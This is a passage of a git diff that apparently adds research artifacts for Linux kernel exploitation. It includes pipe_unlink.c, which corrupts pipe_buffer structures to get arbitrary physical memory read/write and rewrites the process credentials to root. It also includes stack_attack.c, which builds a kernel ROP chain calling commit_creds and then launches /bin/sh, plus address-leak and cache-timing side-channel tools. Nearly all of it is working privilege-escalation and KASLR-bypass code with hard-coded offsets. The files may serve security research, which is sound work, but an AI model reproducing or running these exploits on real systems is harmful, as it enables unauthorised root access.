code_base+ANON_PIPE_BUF_OPS_OFFSET; + next_cor_pipe_buffer->flags = 0x10; + + write_pipe_no_err(pipes[page_fd][1], buffer+8, PIPE_OFFSET); + write_pipe_no_err(pipes[arbrw_fd][1], (char *)&value, 8); +} + +void stage5(void) +{ + char this_comm[256] = {0}; + int fd = open("/proc/self/comm", O_RDONLY); + int n = read(fd, this_comm, sizeof(this_comm)-1); + this_comm[n-1] = 0; + unsigned int this_pid = getpid(); + unsigned int this_gtid = gettid(); + printf("[*] this process %s [%d,%d]\n", this_comm, this_pid, this_gtid); + size_t p_current = 0; + for (size_t pa = 0; pa < (32ULL << 30) && p_current == 0; pa += (PAGE_SIZE << TASK_STRUCT_SLAB_ORDER)) { + for (size_t _pa = pa; _pa < pa + (PAGE_SIZE << TASK_STRUCT_SLAB_ORDER) && p_current == 0; _pa += TASK_STRUCT_SIZE) { + char comm[9] = {0}; + size_t potential_task_struct_comm = _pa + TASK_STRUCT_COMM_OFFSET; + // printf("[*] _pa %016zx\n", _pa); + arbr_phys(potential_task_struct_comm, (size_t *)comm); + if (!strncmp(comm, this_comm, 8)) { + size_t tmp; + + unsigned int pid; + size_t potential_task_struct_pid = _pa + TASK_STRUCT_PID_OFFSET; + arbr_phys(potential_task_struct_pid, (size_t *)&tmp); + pid = (unsigned int)tmp; + + unsigned int gtid; + size_t potential_task_struct_tgid = _pa + TASK_STRUCT_TGID_OFFSET; + arbr_phys(potential_task_struct_tgid, (size_t *)&tmp); + gtid = (unsigned int)tmp; + if (pid != this_pid || gtid != this_gtid) { + // printf("[*] same comm %s but different [%d,%d] != [%d,%d]\n", comm, pid, gtid, this_pid, this_gtid); + continue; + } + + p_current = _pa; + printf("[+] found %s [%d,%d] at %016zx\n", comm, pid, gtid, p_current+dpm_base); + } + } + } + + size_t cred; + arbr_phys(p_current+TASK_STRUCT_CRED_OFFSET, (size_t *)&cred); + printf("[+] found cred %016zx\n", cred); + size_t p_cred = cred-dpm_base; + arbw_phys(p_cred+CRED_UID_GID_OFFSET, 0); + arbw_phys(p_cred+CRED_SUID_SGID_OFFSET, 0); + arbw_phys(p_cred+CRED_EUID_EGID_OFFSET, 0); + arbw_phys(p_cred+CRED_FSUID_FSGID_OFFSET, 0); + arbw_phys(p_cred+CRED_CAP_INHERITABLE_OFFSET, -1); + arbw_phys(p_cred+CRED_CAP_PERMITTED_OFFSET, -1); + arbw_phys(p_cred+CRED_CAP_EFFECTIVE_OFFSET, -1); + arbw_phys(p_cred+CRED_CAP_BSET_OFFSET, -1); + arbw_phys(p_cred+CRED_CAP_AMBIENT_OFFSET, -1); + + if (getuid() == 0 && getgid() == 0) + printf("[+] success: uid %d gid %d\n", getuid(), getgid()); + else + printf("[!] no success\n"); + // int ret = system("/bin/sh"); + // if (ret < 0) { + // perror("system"); + // exit(-1); + // } +} + +int main(void) +{ + int ret = 0; + pin_to_core(0); + set_limit(); + printf("[*] start\n"); + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); + + lkm_init(); + + lkm_vmemmap_leak((size_t)&vmemmap_base); + lkm_dpm_leak((size_t)&dpm_base); + lkm_code_leak((size_t)&code_base); + printf("[*] vmemmap_base %016zx\n", vmemmap_base); + printf("[*] dpm_base %016zx\n", dpm_base); + printf("[*] code_base %016zx\n", code_base); + + stage1(); + stage2(); + stage3(); + stage4(); + stage5(); + + cleanup(); + restore_pipe_buffer_state(); + printf("[*] done\n"); + return ret; +} \ No newline at end of file diff --git a/artifacts/attacks/pipe_unlink.c b/artifacts/attacks/pipe_unlink.c new file mode 100644 index 000000000..cea98f47c --- /dev/null +++ b/artifacts/attacks/pipe_unlink.c @@ -0,0 +1,421 @@ +#include "utils.h" +#include "ulkm.h" +#include "msg_msg.h" +#include "pipe_buffer.h" +#include +#include +#include +#include +#define _GNU_SOURCE +#include +#include + +#define ANON_PIPE_BUF_OPS_OFFSET 0x1648cc0 + +#define RESTORE +// #define DEBUG + +#define TASK_STRUCT_SLAB_ORDER 3 +#define TASK_STRUCT_SIZE 10496 +#define TASK_STRUCT_COMM_OFFSET 3008 +#define TASK_STRUCT_PID_OFFSET 2464 +#define TASK_STRUCT_TGID_OFFSET 2468 +#define TASK_STRUCT_REAL_CRED_OFFSET 2984 +#define TASK_STRUCT_CRED_OFFSET 2992 + +#define CRED_UID_GID_OFFSET 8 +#define CRED_SUID_SGID_OFFSET 16 +#define CRED_EUID_EGID_OFFSET 24 +#define CRED_FSUID_FSGID_OFFSET 32 +#define CRED_CAP_INHERITABLE_OFFSET 48 +#define CRED_CAP_PERMITTED_OFFSET 56 +#define CRED_CAP_EFFECTIVE_OFFSET 64 +#define CRED_CAP_BSET_OFFSET 72 +#define CRED_CAP_AMBIENT_OFFSET 80 + +#define PAGE_SIZE (1<<12) + +#define MSG_SPRAYS (1<<10) +#define MSG_FREE (MSG_SPRAYS*3/4) +#define MSG_TYPE 0x41 +#define MSG_HEADER 48 +#define __MSG_SIZE 1024 +#define MSG_SIZE (__MSG_SIZE-MSG_HEADER) + +#define PIPE_SPRAY (1<<6) +#define PIPE_SIZE 40 +#define PIPE_CNT 16 + +int qids[MSG_SPRAYS]; + +size_t vmemmap_base; +size_t dpm_base; +size_t code_base; + +size_t msg_msg; + +char buffer[0x1000]; +char page_content[sizeof(buffer)]; +char page_content_org[sizeof(buffer)]; + +int pipes[PIPE_SPRAY][2]; + +void cleanup(void) +{ + printf("[*] cleanup\n"); + for (size_t i = 0; i < MSG_SPRAYS; ++i) { + cleanup_queue(qids[i]); + } +} + +size_t pipe_buffer; +void stage1(void) +{ + msg *message = (msg *)buffer; + message->mtype = MSG_TYPE; + + printf("[*] alloc msg_queue\n"); + for (size_t i = 0; i < MSG_SPRAYS; ++i) + qids[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); + + printf("[*] alloc msg_msg\n"); + for (size_t i = 0; i < MSG_SPRAYS; ++i) + send_msg(qids[i], message, MSG_SIZE, 0); + + lkm_msg_msg_leak((size_t)&msg_msg, qids[MSG_FREE], MSG_TYPE); + printf("[+] leaked msg_msg %016zx\n", msg_msg); + + printf("[*] free msg_msg\n"); + memset(buffer, 0x41, sizeof(buffer)); + // free all all but 1 of the current slab + // creates all free slots on the slot except one + // except one because to prevent returning the partial slab to the page allocator (unlikely but may be) + for (ssize_t i = -32; i < 31; ++i) + get_msg(qids[MSG_FREE+i], message, MSG_SIZE, 0, IPC_NOWAIT); + for (size_t i = 0; i < PIPE_SPRAY; ++i) { + alloc_pipes(pipes[i], O_NONBLOCK); + write_pipe(pipes[i][1], buffer, 8); + } + printf("[*] reclaimed as pipe_buffer\n"); + pipe_buffer = msg_msg & ~0xfff; + printf("[+] pipe_buffer %016zx\n", pipe_buffer); + +#ifdef DEBUG + printf("[*] msg_msg:\n"); + for (size_t i = 0; i < PIPE_SIZE; i += 8) { + size_t tmp; + lkm_read(msg_msg+i, (size_t)&tmp); + printf("%016zx\n", tmp); + } +#endif +} + +size_t adjacent_pipe_buffer; +size_t vmemmap_pipe_buffer; +#ifdef RESTORE +size_t old_deref_pipe_buffer; +size_t old_deref_vmemmap_pipe_buffer; +void save_pipe_buffer_state(void) +{ + lkm_read(pipe_buffer, (size_t)&old_deref_pipe_buffer); + lkm_read(vmemmap_pipe_buffer+8, (size_t)&old_deref_vmemmap_pipe_buffer); + printf("[*] temporarily store *pipe_buffer %016zx\n", old_deref_pipe_buffer); + printf("[*] temporarily store *vmemmap_pipe_buffer %016zx\n", old_deref_vmemmap_pipe_buffer); +} +void restore_pipe_buffer_state(void) +{ + printf("[*] restore store *pipe_buffer\n"); + printf("[*] restore store *vmemmap_pipe_buffer\n"); + lkm_write(pipe_buffer, old_deref_pipe_buffer); + lkm_write(vmemmap_pipe_buffer+8, old_deref_vmemmap_pipe_buffer); +} +#else +void save_pipe_buffer_state(void) {} +void restore_pipe_buffer_state(void) {} +#endif + +#define PHYS_TO_VMEMMAP(x) ((((x) >> 12) << 6) + vmemmap_base) +#define DPM_TO_VMEMMAP(x) PHYS_TO_VMEMMAP((x) - dpm_base) +void stage2(void) +{ + vmemmap_pipe_buffer = DPM_TO_VMEMMAP(pipe_buffer); + printf("[*] overwrite pipe_buffer->page with %016zx\n", vmemmap_pipe_buffer); + save_pipe_buffer_state(); + + // *(next + 8) = prev + // *prev = next + lkm_write(pipe_buffer, vmemmap_pipe_buffer); + lkm_write(vmemmap_pipe_buffer+8, pipe_buffer); + +#ifdef DEBUG + printf("[*] pipe_buffer:\n"); + for (size_t i = 0; i < PIPE_SIZE; i += 8) { + size_t tmp; + lkm_read(pipe_buffer+i, (size_t)&tmp); + printf("%016zx\n", tmp); + } +#endif +} + +#define IS_VMEMMAP(x) (((x) & ~((1<<30)-1)) == vmemmap_base) +void fix_pipe_page_content(char *pipe_page) +{ + for (size_t i = 0; i < PAGE_SIZE; i += 8) { + if (IS_VMEMMAP(*(size_t *)(pipe_page + i))) { + if (i % 1024 == 0) { + *(size_t *)(pipe_page + i + 0x08) = 0x0000100000000000; + *(size_t *)(pipe_page + i + 0x10) = code_base+ANON_PIPE_BUF_OPS_OFFSET; + } else { + *(size_t *)(pipe_page + i + 0x08) = 0x0000000000001000; + *(size_t *)(pipe_page + i + 0x10) = 0; + } + } + } +} + +size_t page_fd = -1; +void stage3(void) +{ + size_t count = 0; + printf("[*] find overwritten pipe_buffer\n"); + for (size_t i = 0; i < PIPE_SPRAY; ++i) { + memset(buffer, 0, sizeof(buffer)); + read_pipe(pipes[i][0], buffer, 7); + if (buffer[0] != 0x41) { + buffer[7] = -1; + count++; + page_fd = i; + printf("[+] found pipe_buffer fd %4zd\n", page_fd); + if (IS_VMEMMAP(*(size_t *)(buffer))) { + printf("[+] found page %016zx\n", *(size_t *)(buffer)); + continue; + } + } + } + + if (page_fd == (size_t)-1 || count != 1) { + printf("[!] count %zd\n", count); + printf("[!] page_fd %016zx\n", page_fd); + restore_pipe_buffer_state(); + exit(-1); + } +} + +#define PIPE_OFFSET (__MSG_SIZE+PIPE_SIZE-8) +size_t arbrw_fd = -1; +struct pipe_buffer { + size_t page; + unsigned int len; + unsigned int offset; + size_t ops; + unsigned int flags; + size_t private; +}; +void stage4(void) +{ + memset(buffer, 0x41, sizeof(buffer)); + for (size_t i = 0; i < PIPE_SPRAY; ++i) { + if (i == page_fd) + continue; + write_pipe(pipes[i][1], buffer, 8); + } + +#ifdef DEBUG + printf("[*] pipe_buffer %016zx %016zx:\n", pipe_buffer, DPM_TO_VMEMMAP(pipe_buffer)); + for (size_t i = 0; i < PIPE_SIZE*2; i += 8) { + size_t tmp; + lkm_read(pipe_buffer+i, (size_t)&tmp); + printf("%016zx\n", tmp); + } + printf("[*] next pipe_buffer:\n"); + for (size_t i = 1024; i < 1024+PIPE_SIZE; i += 8) { + size_t tmp; + lkm_read(pipe_buffer+i, (size_t)&tmp); + printf("%016zx\n", tmp); + } +#endif + + memset(buffer, 0, sizeof(buffer)); + struct pipe_buffer *cor_pipe_buffer = (struct pipe_buffer *)buffer; + struct pipe_buffer *next_cor_pipe_buffer = (struct pipe_buffer *)(buffer+1024); + + cor_pipe_buffer->len = 8; + cor_pipe_buffer->offset = -PIPE_OFFSET; + cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET; + cor_pipe_buffer->flags = 0x10; + + next_cor_pipe_buffer->page = vmemmap_base; + next_cor_pipe_buffer->len = 0; + next_cor_pipe_buffer->offset = PAGE_SIZE; + next_cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET; + next_cor_pipe_buffer->flags = 0x10; + + write_pipe(pipes[page_fd][1], buffer+8, PIPE_OFFSET); + +#ifdef DEBUG + printf("[*] pipe_buffer %016zx %016zx:\n", pipe_buffer, DPM_TO_VMEMMAP(pipe_buffer)); + for (size_t i = 0; i < PIPE_SIZE*2; i += 8) { + size_t tmp; + lkm_read(pipe_buffer+i, (size_t)&tmp); + printf("%016zx\n", tmp); + } + printf("[*] next pipe_buffer:\n"); + for (size_t i = 1024; i < 1024+PIPE_SIZE; i += 8) { + size_t tmp; + lkm_read(pipe_buffer+i, (size_t)&tmp); + printf("%016zx\n", tmp); + } +#endif + + for (size_t i = 0; i < PIPE_SPRAY; ++i) { + if (i == page_fd) + continue; + memset(buffer, 0x41, sizeof(buffer)); + read_pipe(pipes[i][0], buffer, 8); + if (buffer[1] != 0x41) { + printf("[*] *buffer %016zx\n", *(size_t *)buffer); + arbrw_fd = i; + printf("[+] found pipe_buffer fd for arbrw %4zd\n", arbrw_fd); + } + } + if (arbrw_fd == (size_t)-1) { + printf("[!] arbrw_fd not found\n"); + exit(-1); + } +} + +void arbr_phys(size_t paddr, size_t *addr) +{ + memset(buffer, 0, sizeof(buffer)); + struct pipe_buffer *cor_pipe_buffer = (struct pipe_buffer *)buffer; + struct pipe_buffer *next_cor_pipe_buffer = (struct pipe_buffer *)(buffer+1024); + + cor_pipe_buffer->len = 8; + cor_pipe_buffer->offset = -PIPE_OFFSET; + cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET; + cor_pipe_buffer->flags = 0x10; + + next_cor_pipe_buffer->page = PHYS_TO_VMEMMAP(paddr); + next_cor_pipe_buffer->len = paddr % PAGE_SIZE; + next_cor_pipe_buffer->offset = PAGE_SIZE; + next_cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET; + next_cor_pipe_buffer->flags = 0x10; + + write_pipe_no_err(pipes[page_fd][1], buffer+8, PIPE_OFFSET); + read_pipe_no_err(pipes[arbrw_fd][0], (char *)addr, 8); +} + +void arbw_phys(size_t paddr, size_t value) +{ + memset(buffer, 0, sizeof(buffer)); + struct pipe_buffer *cor_pipe_buffer = (struct pipe_buffer *)buffer; + struct pipe_buffer *next_cor_pipe_buffer = (struct pipe_buffer *)(buffer+1024); + + cor_pipe_buffer->len = 8; + cor_pipe_buffer->offset = -PIPE_OFFSET; + cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET; + cor_pipe_buffer->flags = 0x10; + + next_cor_pipe_buffer->page = PHYS_TO_VMEMMAP(paddr); + next_cor_pipe_buffer->len = 0; + next_cor_pipe_buffer->offset = paddr % PAGE_SIZE; + next_cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET; + next_cor_pipe_buffer->flags = 0x10; + + write_pipe_no_err(pipes[page_fd][1], buffer+8, PIPE_OFFSET); + write_pipe_no_err(pipes[arbrw_fd][1], (char *)&value, 8); +} + +void stage5(void) +{ + char this_comm[256] = {0}; + int fd = open("/proc/self/comm", O_RDONLY); + int n = read(fd, this_comm, sizeof(this_comm)-1); + this_comm[n-1] = 0; + unsigned int this_pid = getpid(); + unsigned int this_gtid = gettid(); + printf("[*] this process %s [%d,%d]\n", this_comm, this_pid, this_gtid); + size_t p_current = 0; + for (size_t pa = 0; pa < (32ULL << 30) && p_current == 0; pa += (PAGE_SIZE << TASK_STRUCT_SLAB_ORDER)) { + for (size_t _pa = pa; _pa < pa + (PAGE_SIZE << TASK_STRUCT_SLAB_ORDER) && p_current == 0; _pa += TASK_STRUCT_SIZE) { + char comm[9] = {0}; + size_t potential_task_struct_comm = _pa + TASK_STRUCT_COMM_OFFSET; + // printf("[*] _pa %016zx\n", _pa); + arbr_phys(potential_task_struct_comm, (size_t *)comm); + if (!strncmp(comm, this_comm, 8)) { + size_t tmp; + + unsigned int pid; + size_t potential_task_struct_pid = _pa + TASK_STRUCT_PID_OFFSET; + arbr_phys(potential_task_struct_pid, (size_t *)&tmp); + pid = (unsigned int)tmp; + + unsigned int gtid; + size_t potential_task_struct_tgid = _pa + TASK_STRUCT_TGID_OFFSET; + arbr_phys(potential_task_struct_tgid, (size_t *)&tmp); + gtid = (unsigned int)tmp; + if (pid != this_pid || gtid != this_gtid) { + // printf("[*] same comm %s but different [%d,%d] != [%d,%d]\n", comm, pid, gtid, this_pid, this_gtid); + continue; + } + + p_current = _pa; + printf("[+] found %s [%d,%d] at %016zx\n", comm, pid, gtid, p_current+dpm_base); + } + } + } + + size_t cred; + arbr_phys(p_current+TASK_STRUCT_CRED_OFFSET, (size_t *)&cred); + printf("[+] found cred %016zx\n", cred); + size_t p_cred = cred-dpm_base; + arbw_phys(p_cred+CRED_UID_GID_OFFSET, 0); + arbw_phys(p_cred+CRED_SUID_SGID_OFFSET, 0); + arbw_phys(p_cred+CRED_EUID_EGID_OFFSET, 0); + arbw_phys(p_cred+CRED_FSUID_FSGID_OFFSET, 0); + arbw_phys(p_cred+CRED_CAP_INHERITABLE_OFFSET, -1); + arbw_phys(p_cred+CRED_CAP_PERMITTED_OFFSET, -1); + arbw_phys(p_cred+CRED_CAP_EFFECTIVE_OFFSET, -1); + arbw_phys(p_cred+CRED_CAP_BSET_OFFSET, -1); + arbw_phys(p_cred+CRED_CAP_AMBIENT_OFFSET, -1); + + if (getuid() == 0 && getgid() == 0) + printf("[+] success: uid %d gid %d\n", getuid(), getgid()); + else + printf("[!] no success\n"); + // int ret = system("/bin/sh"); + // if (ret < 0) { + // perror("system"); + // exit(-1); + // } +} + +int main(void) +{ + int ret = 0; + pin_to_core(0); + printf("[*] start\n"); + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); + + lkm_init(); + + lkm_vmemmap_leak((size_t)&vmemmap_base); + lkm_dpm_leak((size_t)&dpm_base); + lkm_code_leak((size_t)&code_base); + printf("[*] vmemmap_base %016zx\n", vmemmap_base); + printf("[*] dpm_base %016zx\n", dpm_base); + printf("[*] code_base %016zx\n", code_base); + + stage1(); + stage2(); + stage3(); + stage4(); + stage5(); + + restore_pipe_buffer_state(); + cleanup(); + printf("[*] done\n"); + return ret; +} \ No newline at end of file diff --git a/artifacts/attacks/stack_attack.c b/artifacts/attacks/stack_attack.c new file mode 100644 index 000000000..ee85713d4 --- /dev/null +++ b/artifacts/attacks/stack_attack.c @@ -0,0 +1,210 @@ +#include "utils.h" +#include "ulkm.h" +#include "msg_msg.h" +#include +#include +#include +#include + +#define MSG_TYPE 0x41 +#define MSG_HEADER 48 +#define MSG_SIZE (4096 - MSG_HEADER) +#define MSG_TEXT_OFFSET 2048 + +#define SPRAY_THREADS 128 +#define RECLAIM_STACK_THREADS 256 + +#define STACK_SZ (4<<12) +#define NEXT_STACK 16*STACK_SZ + +// 0xffffffff818326ea: add rsp, 0x30; pop rbp; ret; +#define ADD_RSP_0X38_RET_OFFSET 0x8326ea +// 0xffffffff8184c11f: push rax; pop rbp; ret; +#define PUSH_RAX_POP_RBP_RET_OFFSET 0x84c11f +// 0xffffffff810e324c: mov rsp, rbp; pop rbp; ret; +#define MOV_RSP_RBP_POP_RET_OFFSET 0xe324c +// 0xffffffff810e32f0: pop rdi; ret; +#define POP_RDI_RET_OFFSET 0xe32f0 +// 0xffffffff81608764: xchg rdi, rax; ret; +#define XCHG_RDI_RAX_RET_OFFSET 0x608764 + +#define SWAPGS_POP_RET_OFFSET 0x140136c +#define IRET_OFFSET 0x140183d +#define FIND_TASK_BY_VPID_OFFSET 0x133020 +#define PREPARE_KERNEL_CRED_OFFSET 0x140d00 +#define COMMIT_CREDS_OFFSET 0x140780 +#define INIT_TASK_OFFSET 0x240fcc0 +#define INIT_CRED_OFFSET 0x2490220 + +size_t _text; +size_t stack; +size_t msg_msg; +enum state +{ + DO_LEAK, + STACK_LEAKED, +} state; + +size_t user_cs; +size_t user_ss; +size_t user_sp; +size_t user_rflags; +void save_state(void) +{ + __asm__ ( + ".intel_syntax noprefix;" + "mov user_cs, cs;" + "mov user_ss, ss;" + "mov user_sp, rsp;" + "pushf;" + "pop user_rflags;" + ".att_syntax;" + ); + puts("[*] Saved state"); +} + +void *leak_task(void *) +{ + pin_to_core(1); + lkm_stack_leak((size_t)&stack); + stack += NEXT_STACK; + printf("[+] leaked stack %016zx\n", stack); + return 0; +} + +void *spray_task(void *) +{ + pin_to_core(2); + sleep(-1); + return 0; +} + +int empty_function(void *) +{ + // pin_to_core(3); + // sleep(-1); + return 0; +} + +void shell(void) +{ + // register size_t rax asm("rax"); + // printf("[*] rax %016zx\n", rax); + printf("[+] uid %d gid %d\n", getuid(), getgid()); + // sleep(-1); + int ret = system("/bin/sh"); + if (ret < 0) { + perror("system"); + exit(-1); + } +} + +void build_rop_chain(size_t *rop) +{ + *rop++ = 0; // rbp + *rop++ = POP_RDI_RET_OFFSET+_text; + *rop++ = INIT_TASK_OFFSET+_text; + *rop++ = PREPARE_KERNEL_CRED_OFFSET+_text; + *rop++ = XCHG_RDI_RAX_RET_OFFSET+_text; + *rop++ = COMMIT_CREDS_OFFSET+_text; + *rop++ = SWAPGS_POP_RET_OFFSET+_text; + *rop++ = 0; // rbp + *rop++ = IRET_OFFSET+_text; + *rop++ = (size_t)&shell; + *rop++ = user_cs; + *rop++ = user_rflags; + *rop++ = user_sp; + *rop++ = user_ss; +} + +char thread_stack[1<<15]; + +int main(void) +{ + save_state(); + pin_to_core(0); + printf("[*] start\n"); + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); + + lkm_init(); + lkm_code_leak((size_t)&_text); + printf("[+] _text %016zx\n", _text); + + static char buffer[0x1000] = {0}; + msg *message = (msg *)buffer; + message->mtype = MSG_TYPE; + + build_rop_chain((size_t *)(message->mtext+MSG_TEXT_OFFSET)); + + int qid = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); + send_msg(qid, message, MSG_SIZE, 0); + + lkm_msg_msg_leak((size_t)&msg_msg, qid, MSG_TYPE); + printf("[+] msg_msg %016zx\n", msg_msg); + + int ret; + pthread_t tid; + for (size_t i = 0; i < SPRAY_THREADS; ++i) { + ret = pthread_create(&tid, 0, spray_task, 0); + if (ret < 0) { + perror("pthread_create(spray_task)"); + exit(-1); + } + } + + printf("[*] create leak task\n"); + ret = pthread_create(&tid, 0, leak_task, 0); + if (ret < 0) { + perror("pthread_create(leak_task)"); + exit(-1); + } + + printf("[*] join leak task\n"); + pthread_join(tid, 0); + for (size_t i = 0; i < RECLAIM_STACK_THREADS; ++i) { + /* load small first payload on the stack via user registers */ + register size_t r12 asm("r12"); + size_t old_r12 = r12; + register size_t r13 asm("r13"); + size_t old_r13 = r13; + register size_t r14 asm("r14"); + size_t old_r14 = r14; + asm volatile( + "mov %[st90], %%r12;" + "mov %[st98], %%r13;" + "mov %[sta0], %%r14;" + :: + [st90]"r"(_text+MOV_RSP_RBP_POP_RET_OFFSET), + [st98]"r"(_text+PUSH_RAX_POP_RBP_RET_OFFSET), + [sta0]"r"(_text+XCHG_RDI_RAX_RET_OFFSET) + ); + clone(empty_function, thread_stack+sizeof(thread_stack), CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, 0); + asm volatile( + "mov %%r12, %[old_r12];" + "mov %%r13, %[old_r13];" + "mov %%r14, %[old_r14];" + :: + [old_r12]"m"(old_r12), + [old_r13]"m"(old_r13), + [old_r14]"m"(old_r14) + ); + } + /* overwrite function pointer with rdi register */ + lkm_write(stack+STACK_SZ-0xc0, _text+ADD_RSP_0X38_RET_OFFSET); // <- R12, RIP + lkm_write(stack+STACK_SZ-0xc8, msg_msg+MSG_HEADER+MSG_TEXT_OFFSET); // <- R13, RDI + + /* for testing */ + // lkm_write(stack+STACK_SZ-0xb8, 0x4141414141414141); + // lkm_write(stack+STACK_SZ-0xc0, 0x4242424242424242); // <- R12, RIP + // lkm_write(stack+STACK_SZ-0xc8, 0x4343434343434343); // <- R13, RDI + // lkm_write(stack+STACK_SZ-0xd0, 0x4444444444444444); + // lkm_write(stack+STACK_SZ-0xd8, 0x4545454545454545); // <- R14 + // lkm_write(stack+STACK_SZ-0xe0, 0x4646464646464646); // <- R15 + + printf("[*] main thread sleep\n"); + sleep(-1); + // cleanup_queue(qid); + printf("[*] done\n"); +} \ No newline at end of file diff --git a/artifacts/generic/Makefile b/artifacts/generic/Makefile new file mode 100644 index 000000000..20144e8cb --- /dev/null +++ b/artifacts/generic/Makefile @@ -0,0 +1,24 @@ +CC := gcc + +SOURCES := $(wildcard *.c) + +TARGETS := $(SOURCES:.c=.elf) + +CFLAGS += -g +CFLAGS += -O3 +CFLAGS += -static +CFLAGS += -Wall +CFLAGS += -Wextra +CFLAGS += -Wno-int-to-pointer-cast +CFLAGS += -Wno-pointer-to-int-cast +CFLAGS += -D_FILE_OFFSET_BITS=64 +CFLAGS += -I../include +CFLAGS += -pthread + +all: $(TARGETS) + +%.elf: %.c ../include/tlb_flush.h ../include/cacheutils.h ../include/ulkm.h ../include/utils.h ../include/coarse_grain_leak.h + $(CC) -D_FILE_OFFSET_BITS=64 $< $(CFLAGS) -o $@ + +clean: + rm -f *.elf diff --git a/artifacts/generic/dpm_leak.c b/artifacts/generic/dpm_leak.c new file mode 100644 index 000000000..a0f3eea72 --- /dev/null +++ b/artifacts/generic/dpm_leak.c @@ -0,0 +1,39 @@ +#include "coarse_grain_leak.h" +#define VALIDATE +#ifdef VALIDATE +#include "ulkm.h" +#endif + +#define TRIES 100 + +int main(void) +{ + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); + + /* warmup */ +#ifdef VALIDATE + size_t dpm_base; + lkm_init(); + lkm_dpm_leak((size_t)&dpm_base); + init_tlb_flush(); + // size_t stack; + // lkm_stack_leak((size_t)&stack); //this technically doesn't need to be the stack page, but it happens to give us a mapped and an unmapped 4k page + // DualThreshold t = detect_threshold(stack + 0x3000, stack + 0x4000, 100); + // THRESHOLD = t.lower; +#endif + + for (volatile size_t i = 0; i < (1ULL << 30); ++i); + /* leaking */ + size_t found = 0; + size_t addr = dpm_leak_found(TRIES, &found); + printf("%016zx\n", addr); +#ifdef VALIDATE + if (dpm_base != addr) { + printf("[!] dpm wrong found %016zx to dpm %016zx\n", addr, dpm_base); + return 0; + } +#endif + return found ? 1 : -1; +} \ No newline at end of file diff --git a/artifacts/generic/msg_cleanup.c b/artifacts/generic/msg_cleanup.c new file mode 100644 index 000000000..ff436dfc2 --- /dev/null +++ b/artifacts/generic/msg_cleanup.c @@ -0,0 +1,8 @@ +#include "msg_msg.h" + +int main(void) +{ + printf("[*] cleanup\n"); + for (size_t i = 0; i < (1<<24); ++i) + msgctl(i, IPC_RMID, 0); +} \ No newline at end of file diff --git a/artifacts/generic/page_type_diff.c b/artifacts/generic/page_type_diff.c new file mode 100644 index 000000000..93fd2dee9 --- /dev/null +++ b/artifacts/generic/page_type_diff.c @@ -0,0 +1,171 @@ +#include "utils.h" +#include "cacheutils.h" +#include "ulkm.h" +#include +#include +#include +#include +#include +#include +#include "../include/tlb_flush.h" + +#define HIT 29 +#define TRIES 1000000 +#define HIST_SIZE 120 + +#define STACK_SIZE (1 << 14) + +//----- +#define fail(...) \ + do \ + { \ + fprintf(stderr, __VA_ARGS__); \ + exit(EXIT_FAILURE); \ + } while (0) +#define PAGE_SIZE (1 << 12) +#define HPAGE_SIZE (1 << 21) + +// See for +// format which these bitmasks refer to +#define PAGEMAP_PRESENT(ent) (((ent) & (1ull << 63)) != 0) +#define PAGEMAP_PFN(ent) ((ent) & ((1ull << 55) - 1)) + +#define NEXP 4 +size_t print_hist(size_t addr_stack, size_t addr_large) +{ + printf("[*] addr %016zx\n", addr_stack); + size_t time = 0; + size_t time_n1 = 0; + + size_t hist[NEXP][HIST_SIZE]; + size_t hist_n1[NEXP][HIST_SIZE]; + + memset(hist, 0, sizeof(hist)); + memset(hist_n1, 0, sizeof(hist_n1)); + // memset(hist_n4, 0, sizeof(hist_n4)); + /* leaking */ + for (size_t i = 0; i < TRIES * NEXP; ++i) { + // stack/4k hit vs 4k miss + if (i % NEXP == 0) { + asm volatile("lfence"); + asm volatile("mfence"); + prefetch2((void *)addr_stack); + time = onlyreload(addr_stack); + time_n1 = flushreload(addr_stack); + // unmapped (stack+1) hit/miss + } else if (i % NEXP == 1) { + asm volatile("lfence"); + asm volatile("mfence"); + prefetch2((void *)(addr_stack + (1 << 12))); + time = onlyreload(addr_stack + (1 << 12)); + time_n1 = flushreload(addr_stack + (1 << 12)); + // stack hit/unmapped miss by syscall + } else if (i % NEXP == 2) { + asm volatile("lfence"); + asm volatile("mfence"); + time = flushsysreload(addr_stack); + time_n1 = onlyreload(addr_stack + (1 << 12)); + asm volatile("lfence"); + asm volatile("mfence"); + // 2MB hit/miss + } else if (i % NEXP == 3) { + asm volatile("lfence"); + asm volatile("mfence"); + prefetch2((void *)(addr_large + 512)); + time = onlyreload(addr_large + 512); + FLUSH_TLB_2M(addr_large + 512); + time_n1 = onlyreload(addr_large + 512); + } + hist[i % NEXP][MIN(HIST_SIZE - 2, time)]++; + hist_n1[i % NEXP][MIN(HIST_SIZE - 2, time_n1)]++; + } + size_t sum[NEXP * 2] = {0}; + printf("time,4k hit,4k miss,4k UM hit,4k UM miss,4k stack hit,4k UM hit,2MB hit,2MB miss"); // csv + for (size_t i = 20; i < HIST_SIZE; i += 2) { + printf("\n%zd", i); + for (int j = 0; j < NEXP; j++) { + sum[j * 2] += hist[j][i]; + sum[j * 2 + 1] += hist_n1[j][i]; + // printf("% 6.1f % 6.1f ", (float)(sum[j*2])/TRIES*100, (float)(sum[j*2+1])/TRIES*100); + // printf("%zd\t %zd \t", hist[j][i], hist_n1[j][i]); + printf(",%zd,%zd", hist[j][i], hist_n1[j][i]); // csv + } + } + puts(""); + + return (time < HIT && time_n1 > HIT); 